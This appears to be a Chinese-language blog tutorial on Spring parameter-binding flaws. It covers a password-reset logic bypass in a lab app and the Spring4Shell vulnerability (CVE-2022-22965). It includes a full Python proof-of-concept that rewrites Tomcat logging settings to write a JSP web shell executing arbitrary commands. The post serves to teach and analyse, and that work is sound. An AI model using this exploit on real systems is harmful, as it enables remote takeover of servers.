前言
在介紹這個漏洞前,介紹下在spring下的參數綁定
在Spring框架中,參數綁定是一種常見的操作,用于將HTTP請求的參數值綁定到Controller方法的參數上。下面是一些示例,展示了如何在Spring中進行參數綁定:
示例1:
@Controller
@RequestMapping("/user")
public class UserController {@GetMapping("/{id}")public String getUserById(@PathVariable("id") int userId, Model model) {// 根據userId查詢用戶信息并返回User user = userService.getUserById(userId);model.addAttribute("user", user);return "user";}@PostMapping("/add")public String addUser(@RequestParam("name") String name, @RequestParam("age") int age, Model model) {// 創建新用戶并保存到數據庫User newUser = new User(name, age);userService.addUser(newUser);model.addAttribute("user", newUser);return "user";}
}
上述示例中,我們使用了@PathVariable
和@RequestParam
注解來進行參數綁定:
-
@PathVariable
用于將URL中的路徑變量與方法參數進行綁定。在getUserById
方法中,我們將URL中的"id"作為參數綁定到userId
上。 -
@RequestParam
用于將HTTP請求參數與方法參數進行綁定。在addUser
方法中,我們將請求參數"name"和"age"分別綁定到name
和age
上。
通過這種方式,Spring框架能夠自動將請求參數的值綁定到Controller方法的參數上,簡化了參數處理的過程。
示例2:
在Spring框架中,除了綁定基本類型的參數外,我們也經常需要綁定對象作為方法的參數。下面是一個示例,展示了如何在Spring中進行對象的參數綁定:
假設有一個名為User的JavaBean類:
javaCopy Codepublic class User {private String name;private int age;// 省略構造函數、getter和setter
}
然后在Controller中,我們可以將User對象作為方法的參數進行綁定
javaCopy Code@Controller
@RequestMapping("/user")
public class UserController {@PostMapping("/add")public String addUser(@ModelAttribute User user, Model model) {// 通過@ModelAttribute注解將HTTP請求參數綁定到User對象userService.addUser(user);model.addAttribute("user", user);return "user";}
}
我們使用了@ModelAttribute
注解將HTTP請求參數綁定到User對象上。Spring框架會自動根據HTTP請求的參數名和User對象的屬性名進行匹配,并進行對象的參數綁定。
當客戶端發送一個包含name和age參數的POST請求時,Spring框架將自動創建一個User對象,并將請求參數的值綁定到User對象的對應屬性上。
這種方式能夠方便地處理復雜的對象綁定工作,使得我們在Controller中可以直接操作領域對象,而無需手動解析和綁定參數。
參數綁定漏洞
參數綁定這個機制,使得我們對綁定的對象實現了可控。如果代碼對這個對象又做了其他驗證處理,那么就非常可能導致某種邏輯漏洞,繞過漏洞。
看如下的代碼
@Controller
@SessionAttributes({"user"})
public class ResetPasswordController {private static final Logger logger = LoggerFactory.getLogger(ResetPasswordController.class);@Autowiredprivate UserService userService;public ResetPasswordController() {}@RequestMapping(value = {"/reset"},method = {RequestMethod.GET})public String resetViewHandler() {logger.info("Welcome reset ! ");return "reset";}@RequestMapping(value = {"/reset"},method = {RequestMethod.POST})public String resetHandler(@RequestParam String username, Model model) {logger.info("Checking username " + username);User user = this.userService.findByName(username);if (user == null) {logger.info("there is no user with name " + username);model.addAttribute("error", "Username is not found");return "reset";} else {model.addAttribute("user", user);return "redirect:resetQuestion";}}@RequestMapping(value = {"/resetQuestion"},method = {RequestMethod.GET})public String resetViewQuestionHandler(@ModelAttribute User user) {logger.info("Welcome resetQuestion ! " + user);return "resetQuestion";}@RequestMapping(value = {"/resetQuestion"},method = {RequestMethod.POST})public String resetQuestionHandler(@RequestParam String answerReset, SessionStatus status, User user, Model model) {logger.info("Checking resetQuestion ! " + answerReset + " for " + user);if (!user.getAnswer().equals(answerReset)) {logger.info("Answer in db " + user.getAnswer() + " Answer " + answerReset);model.addAttribute("error", "Incorrect answer");return "resetQuestion";} else {status.setComplete();String newPassword = GeneratePassword.generatePassowrd(10);user.setPassword(newPassword);this.userService.updateUser(user);model.addAttribute("message", "Your new password is " + newPassword);return "success";}}}
由于有了參數綁定這個機制,user對象是我們用戶可控的!,可是在post提交的/resetQuestion 方法中if(!user.getAnswer().equals(answerReset)) 居然從user對象中取數據來做驗證,那么我們可以嘗試利用參數綁定的機制,參數設為?answer=hello&answerReset=hello,使得equals成功,從而繞過驗證。
參考自動綁定漏洞_對象自動綁定漏洞-CSDN博客
war包下載https://github.com/3wapp/ZeroNights-HackQuest-2016
CVE-2022-22965
受影響范圍: Spring Framework < 5.3.18 Spring Framework < 5.2.20 JDK ≥ 9 不受影響版本: Spring Framework = 5.3.18 Spring Framework = 5.2.20 JDK < 9 與Tomcat版本有關
注:jdk版本的不同,可能導致漏洞利用成功與否
思考:參數綁定可以給對應對象的屬性賦值,有沒有一種可能可以給其他的對象賦值?
為了實現這種可能,先了解下參數綁定的底層機制!
由于java語言復雜的對象繼承關系,參數綁定也有多級參數綁定的機制。如contry.province.city.district=yuelu,
其內部的調用鏈也應是
Contry.getProvince()
????????Province.getCity()
????????????????City.getDistrict()
????????????????????????District.setDistrictName()
Spring自帶: BeanWrapperlmpl------Spring容器中管理的對象,自動調用get/set方法
BeanWrapperlmpl是對PropertyDescriptor的進一步封裝
我們都知道在Java中,所有的類都隱式地繼承自java.lang.Object
類。 Object
類是Java中所有類的根類,它定義了一些通用的方法,因此這些方法可以在任何對象上調用。
-
getClass()
: 返回對象所屬的類。
是否可以通過class對象跳轉到其他對象上。
在spring是世界中一切都是javabean,就連輸出的log日志也是一個javabean,如果我們能夠修改這個javabean,就意味著輸出的log后綴名可控,其內容也可控。那好我們直接改成jsp馬的形式
漏洞搭建復現
我們使用maven工具加入spring boot,模擬一個參數綁定的Controller,生成war包放入tomcat中
參考文章Spring 遠程命令執行漏洞(CVE-2022-22965)原理分析和思考 (seebug.org)
附上poc
import requests
import argparse
from urllib.parse import urlparse
import time# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()post_headers = {"Content-Type": "application/x-www-form-urlencoded"
}get_headers = {"prefix": "<%","suffix": "%>//",# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern"c": "Runtime",
}def run_exploit(url, directory, filename):log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times# If re-running the exploit, this will create an artifact of {old_file_name}_.jspfile_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"print("[*] Resetting Log Variables.")ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)print("[*] Response code: %d" % ret.status_code)# Change the tomcat log location variablesprint("[*] Modifying Log Configurations")ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)print("[*] Response code: %d" % ret.status_code)# Changes take some time to populate on tomcattime.sleep(3)# Send the packet that writes the web shellret = requests.get(url, headers=get_headers, verify=False)print("[*] Response Code: %d" % ret.status_code)time.sleep(1)# Reset the pattern to prevent future writes into the filepattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="print("[*] Resetting Log Variables.")ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)print("[*] Response code: %d" % ret.status_code)def main():parser = argparse.ArgumentParser(description='Spring Core RCE')parser.add_argument('--url', help='target url', required=True)parser.add_argument('--file', help='File to write to [no extension]', required=False, default="bak")parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',required=False, default="webapps/ROOT")file_arg = parser.parse_args().filedir_arg = parser.parse_args().dirurl_arg = parser.parse_args().urlfilename = file_arg.replace(".jsp", "")if url_arg is None:print("Must pass an option for --url")returntry:run_exploit(url_arg, dir_arg, filename)print("[+] Exploit completed")print("[+] Check your target for a shell")print("[+] File: " + filename + ".jsp")if dir_arg:location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"else:location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"print(f"[+] Shell should be at: {location}?cmd=whoami")except Exception as e:print(e)if __name__ == '__main__':main()
注意這個poc的邏輯 先向log文件中打入馬的形式,其部分關鍵語段用占位符代替,這也是為了繞過防護機制的手段。之后請求的包在header將占位符填上,這時一個jsp就此形成
訪問馬
漏洞調試分析
給參數綁定的入函數打上斷點
瞅見了我們傳入的參數了吧
第一次循環這一次this還在User中(包裝對象)
第二次循環跳出user對象了
有興趣的同學可調試進入分析一哈,具體的代碼邏輯為什么跳到了class對象?以博主目前的功力雖然調了很多次?但始終無法對這個機制了解徹底,所以這里也不在深究了.....